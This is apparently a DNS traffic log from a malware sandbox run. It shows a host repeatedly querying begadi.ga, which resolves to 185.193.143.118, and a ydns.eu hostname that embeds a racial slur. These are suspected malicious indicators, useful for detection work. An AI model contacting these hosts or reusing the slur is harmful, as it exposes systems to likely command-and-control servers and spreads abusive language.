Dec 21, 2020 08:34:15.630001068 CET	192.168.2.22	8.8.8.8	0xc5	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:16.071230888 CET	192.168.2.22	8.8.8.8	0x99b5	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:16.519520044 CET	192.168.2.22	8.8.8.8	0x7dc1	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:16.966084957 CET	192.168.2.22	8.8.8.8	0x11f3	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:17.457360983 CET	192.168.2.22	8.8.8.8	0x2e47	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:17.911499977 CET	192.168.2.22	8.8.8.8	0xdf58	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:18.360188007 CET	192.168.2.22	8.8.8.8	0xd0e6	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:18.821360111 CET	192.168.2.22	8.8.8.8	0x36e	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:19.271018028 CET	192.168.2.22	8.8.8.8	0xcf0	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:19.715977907 CET	192.168.2.22	8.8.8.8	0x8499	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:20.170018911 CET	192.168.2.22	8.8.8.8	0xdcb2	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:20.615250111 CET	192.168.2.22	8.8.8.8	0xfd1c	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:21.069551945 CET	192.168.2.22	8.8.8.8	0xbbf9	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:21.521275997 CET	192.168.2.22	8.8.8.8	0xf9d0	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:21.957238913 CET	192.168.2.22	8.8.8.8	0x5928	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:22.409060955 CET	192.168.2.22	8.8.8.8	0xcf51	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:22.841989040 CET	192.168.2.22	8.8.8.8	0x3c9b	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:23.283040047 CET	192.168.2.22	8.8.8.8	0xb87	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:23.741769075 CET	192.168.2.22	8.8.8.8	0x80c6	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:24.340230942 CET	192.168.2.22	8.8.8.8	0x734b	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:24.808307886 CET	192.168.2.22	8.8.8.8	0x1864	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:25.262887001 CET	192.168.2.22	8.8.8.8	0x6fa5	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:25.710551977 CET	192.168.2.22	8.8.8.8	0xb236	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:26.160768032 CET	192.168.2.22	8.8.8.8	0x694b	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:26.614681959 CET	192.168.2.22	8.8.8.8	0xb0ef	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:27.062807083 CET	192.168.2.22	8.8.8.8	0xb38	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:27.520749092 CET	192.168.2.22	8.8.8.8	0xd747	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:27.986989021 CET	192.168.2.22	8.8.8.8	0x77b8	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:28.446234941 CET	192.168.2.22	8.8.8.8	0x617c	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:28.886102915 CET	192.168.2.22	8.8.8.8	0x202	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:29.338663101 CET	192.168.2.22	8.8.8.8	0x7c63	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:29.768058062 CET	192.168.2.22	8.8.8.8	0x5ee0	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:30.464324951 CET	192.168.2.22	8.8.8.8	0xa6f6	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:31.077270031 CET	192.168.2.22	8.8.8.8	0x1ba9	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:31.530584097 CET	192.168.2.22	8.8.8.8	0xe63e	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:31.997639894 CET	192.168.2.22	8.8.8.8	0x888e	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:32.732549906 CET	192.168.2.22	8.8.8.8	0x65dd	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:33.196446896 CET	192.168.2.22	8.8.8.8	0x64fa	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:33.646843910 CET	192.168.2.22	8.8.8.8	0x5a90	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:34.237993002 CET	192.168.2.22	8.8.8.8	0x4033	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:34.832995892 CET	192.168.2.22	8.8.8.8	0xfe2d	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:35.595055103 CET	192.168.2.22	8.8.8.8	0x4ad4	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:36.298094034 CET	192.168.2.22	8.8.8.8	0xfcbf	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:36.745827913 CET	192.168.2.22	8.8.8.8	0xf28f	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:37.184614897 CET	192.168.2.22	8.8.8.8	0x6d7e	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:37.667687893 CET	192.168.2.22	8.8.8.8	0x2da4	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:38.116018057 CET	192.168.2.22	8.8.8.8	0xf6c3	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:38.580862999 CET	192.168.2.22	8.8.8.8	0xf948	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:39.014872074 CET	192.168.2.22	8.8.8.8	0x5ed7	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:39.460103035 CET	192.168.2.22	8.8.8.8	0x19f	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:39.922630072 CET	192.168.2.22	8.8.8.8	0x6bdc	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:40.387022018 CET	192.168.2.22	8.8.8.8	0xed92	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:40.870759010 CET	192.168.2.22	8.8.8.8	0x6d8f	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:41.326885939 CET	192.168.2.22	8.8.8.8	0x4c89	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:41.787194967 CET	192.168.2.22	8.8.8.8	0x7dc6	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:42.230077028 CET	192.168.2.22	8.8.8.8	0xc3b2	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:42.685045958 CET	192.168.2.22	8.8.8.8	0x84fe	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:43.125950098 CET	192.168.2.22	8.8.8.8	0x5b58	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:43.560400009 CET	192.168.2.22	8.8.8.8	0xb6a4	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:44.009450912 CET	192.168.2.22	8.8.8.8	0x34bc	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:44.446667910 CET	192.168.2.22	8.8.8.8	0xc12d	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:44.919285059 CET	192.168.2.22	8.8.8.8	0x5ed5	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:45.405236959 CET	192.168.2.22	8.8.8.8	0x9a94	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:45.873823881 CET	192.168.2.22	8.8.8.8	0xd4e0	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:46.292246103 CET	192.168.2.22	8.8.8.8	0x14b7	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:46.737219095 CET	192.168.2.22	8.8.8.8	0x5e2c	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:47.190372944 CET	192.168.2.22	8.8.8.8	0xe624	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:47.621474028 CET	192.168.2.22	8.8.8.8	0x4e4e	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:48.633337975 CET	192.168.2.22	8.8.8.8	0x4e4e	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:49.651582956 CET	192.168.2.22	8.8.8.8	0x4e4e	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:50.100256920 CET	192.168.2.22	8.8.8.8	0xedc0	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:50.556056976 CET	192.168.2.22	8.8.8.8	0xeb9	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:51.002749920 CET	192.168.2.22	8.8.8.8	0xbbeb	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:51.549300909 CET	192.168.2.22	8.8.8.8	0x5348	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:51.980609894 CET	192.168.2.22	8.8.8.8	0xfc79	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:53.237574100 CET	192.168.2.22	8.8.8.8	0x78a1	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:53.671439886 CET	192.168.2.22	8.8.8.8	0x18c2	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:54.125663996 CET	192.168.2.22	8.8.8.8	0xb8aa	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:54.601530075 CET	192.168.2.22	8.8.8.8	0x65b7	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:55.073710918 CET	192.168.2.22	8.8.8.8	0x7104	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:55.533246040 CET	192.168.2.22	8.8.8.8	0x8aa4	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:55.991848946 CET	192.168.2.22	8.8.8.8	0xd2ed	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:56.432776928 CET	192.168.2.22	8.8.8.8	0xa776	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:56.894483089 CET	192.168.2.22	8.8.8.8	0x747a	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:57.346008062 CET	192.168.2.22	8.8.8.8	0x1554	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:57.803312063 CET	192.168.2.22	8.8.8.8	0x980b	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:58.262943029 CET	192.168.2.22	8.8.8.8	0xda8e	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:58.711656094 CET	192.168.2.22	8.8.8.8	0xe33f	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:59.157669067 CET	192.168.2.22	8.8.8.8	0xc079	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:59.615947008 CET	192.168.2.22	8.8.8.8	0x6088	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:00.071464062 CET	192.168.2.22	8.8.8.8	0x99bd	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:00.519056082 CET	192.168.2.22	8.8.8.8	0xf6c8	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:00.951364994 CET	192.168.2.22	8.8.8.8	0x49c8	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:01.390788078 CET	192.168.2.22	8.8.8.8	0x2265	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:01.849296093 CET	192.168.2.22	8.8.8.8	0xbb03	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:02.301299095 CET	192.168.2.22	8.8.8.8	0x59f4	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)
Dec 21, 2020 08:35:02.741864920 CET	192.168.2.22	8.8.8.8	0xaa23	Standard query (0)	begadi.ga	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Dec 21, 2020 08:33:20.141259909 CET	8.8.8.8	192.168.2.22	0x211b	No error (0)	chnesstdyqudusisabadassniggainthestfmv.ydns.eu	103.141.138.119	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:20.181081057 CET	8.8.8.8	192.168.2.22	0x211b	No error (0)	chnesstdyqudusisabadassniggainthestfmv.ydns.eu	103.141.138.119	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:32.245913982 CET	8.8.8.8	192.168.2.22	0x3397	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:33.027492046 CET	8.8.8.8	192.168.2.22	0x6b88	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:33.416837931 CET	8.8.8.8	192.168.2.22	0x5ac2	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:33.912573099 CET	8.8.8.8	192.168.2.22	0xff39	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:34.397540092 CET	8.8.8.8	192.168.2.22	0x5fb6	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:34.913418055 CET	8.8.8.8	192.168.2.22	0x1b02	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:35.392252922 CET	8.8.8.8	192.168.2.22	0x4a26	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:35.873585939 CET	8.8.8.8	192.168.2.22	0xd57a	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:36.346338034 CET	8.8.8.8	192.168.2.22	0xf5d6	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:36.841499090 CET	8.8.8.8	192.168.2.22	0x37e8	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:37.347301960 CET	8.8.8.8	192.168.2.22	0x2690	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:37.822774887 CET	8.8.8.8	192.168.2.22	0xdaa4	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:38.302434921 CET	8.8.8.8	192.168.2.22	0x2801	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:38.776042938 CET	8.8.8.8	192.168.2.22	0x5d56	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:39.253777027 CET	8.8.8.8	192.168.2.22	0x41db	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:39.744498014 CET	8.8.8.8	192.168.2.22	0x4455	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:40.229345083 CET	8.8.8.8	192.168.2.22	0xced7	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:40.677072048 CET	8.8.8.8	192.168.2.22	0xaae	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:41.149358988 CET	8.8.8.8	192.168.2.22	0xf263	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:41.640346050 CET	8.8.8.8	192.168.2.22	0xf523	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:42.118233919 CET	8.8.8.8	192.168.2.22	0xb44c	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:42.603332043 CET	8.8.8.8	192.168.2.22	0x1bf6	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:43.056792021 CET	8.8.8.8	192.168.2.22	0x3407	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:43.542844057 CET	8.8.8.8	192.168.2.22	0xd35b	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:44.025953054 CET	8.8.8.8	192.168.2.22	0xa48	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:44.500294924 CET	8.8.8.8	192.168.2.22	0xbac1	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:44.982953072 CET	8.8.8.8	192.168.2.22	0x6328	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:45.462071896 CET	8.8.8.8	192.168.2.22	0x5df6	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:45.929359913 CET	8.8.8.8	192.168.2.22	0xaa4a	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:46.440226078 CET	8.8.8.8	192.168.2.22	0xa122	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:46.882116079 CET	8.8.8.8	192.168.2.22	0xb6ff	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:47.365688086 CET	8.8.8.8	192.168.2.22	0x3dd8	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:47.838496923 CET	8.8.8.8	192.168.2.22	0xc326	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:48.329663038 CET	8.8.8.8	192.168.2.22	0xfbaa	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:48.799899101 CET	8.8.8.8	192.168.2.22	0x9447	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:49.272435904 CET	8.8.8.8	192.168.2.22	0x1f33	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:49.773880959 CET	8.8.8.8	192.168.2.22	0xc5a6	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:50.234957933 CET	8.8.8.8	192.168.2.22	0xcac4	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:50.727616072 CET	8.8.8.8	192.168.2.22	0xb096	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:51.199632883 CET	8.8.8.8	192.168.2.22	0xb47e	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:51.661459923 CET	8.8.8.8	192.168.2.22	0x5bf1	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:52.138839960 CET	8.8.8.8	192.168.2.22	0xed4e	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:52.608187914 CET	8.8.8.8	192.168.2.22	0x5d81	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:53.089116096 CET	8.8.8.8	192.168.2.22	0x4d15	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:53.545923948 CET	8.8.8.8	192.168.2.22	0xb247	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:54.028563023 CET	8.8.8.8	192.168.2.22	0xd551	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:54.495980978 CET	8.8.8.8	192.168.2.22	0xaef1	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:54.950864077 CET	8.8.8.8	192.168.2.22	0x2f5b	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:55.396764994 CET	8.8.8.8	192.168.2.22	0x8fd0	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:58.138356924 CET	8.8.8.8	192.168.2.22	0xef23	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:58.600277901 CET	8.8.8.8	192.168.2.22	0x476b	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:59.074902058 CET	8.8.8.8	192.168.2.22	0xc2e9	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:59.538171053 CET	8.8.8.8	192.168.2.22	0x7013	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:33:59.999243975 CET	8.8.8.8	192.168.2.22	0x68ec	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:00.458333969 CET	8.8.8.8	192.168.2.22	0xd32f	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:00.927617073 CET	8.8.8.8	192.168.2.22	0xf721	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:01.370101929 CET	8.8.8.8	192.168.2.22	0x9374	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:01.813256025 CET	8.8.8.8	192.168.2.22	0x8596	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:02.234920025 CET	8.8.8.8	192.168.2.22	0x3e26	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:03.016529083 CET	8.8.8.8	192.168.2.22	0x6e6d	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:03.763997078 CET	8.8.8.8	192.168.2.22	0xe7ff	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:04.226470947 CET	8.8.8.8	192.168.2.22	0x95e8	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:04.662421942 CET	8.8.8.8	192.168.2.22	0xe5b1	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:05.116772890 CET	8.8.8.8	192.168.2.22	0x9f2d	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:05.564255953 CET	8.8.8.8	192.168.2.22	0x5352	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:06.008991003 CET	8.8.8.8	192.168.2.22	0x4f0f	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:06.452527046 CET	8.8.8.8	192.168.2.22	0x7d0e	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:06.900445938 CET	8.8.8.8	192.168.2.22	0x42b0	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:07.365592957 CET	8.8.8.8	192.168.2.22	0xbedc	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:07.810790062 CET	8.8.8.8	192.168.2.22	0x8b5	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:08.260979891 CET	8.8.8.8	192.168.2.22	0x4597	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:08.709247112 CET	8.8.8.8	192.168.2.22	0x11a	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:09.166901112 CET	8.8.8.8	192.168.2.22	0x433f	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:09.613442898 CET	8.8.8.8	192.168.2.22	0x2e22	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:10.082566023 CET	8.8.8.8	192.168.2.22	0xeeaa	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:10.540024042 CET	8.8.8.8	192.168.2.22	0x9098	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:10.974487066 CET	8.8.8.8	192.168.2.22	0x1efc	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:11.435686111 CET	8.8.8.8	192.168.2.22	0x1ef9	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:11.866249084 CET	8.8.8.8	192.168.2.22	0x6af1	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:12.342263937 CET	8.8.8.8	192.168.2.22	0xcad	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:12.793176889 CET	8.8.8.8	192.168.2.22	0xe282	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:15.224958897 CET	8.8.8.8	192.168.2.22	0x4e37	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:15.657253981 CET	8.8.8.8	192.168.2.22	0xc5	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:16.098458052 CET	8.8.8.8	192.168.2.22	0x99b5	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:16.546869040 CET	8.8.8.8	192.168.2.22	0x7dc1	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:16.990459919 CET	8.8.8.8	192.168.2.22	0x11f3	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:17.481856108 CET	8.8.8.8	192.168.2.22	0x2e47	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:17.947513103 CET	8.8.8.8	192.168.2.22	0xdf58	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
Dec 21, 2020 08:34:18.384497881 CET	8.8.8.8	192.168.2.22	0xd0e6	No error (0)	begadi.ga	185.193.143.118	A (IP address)	IN (0x0001)
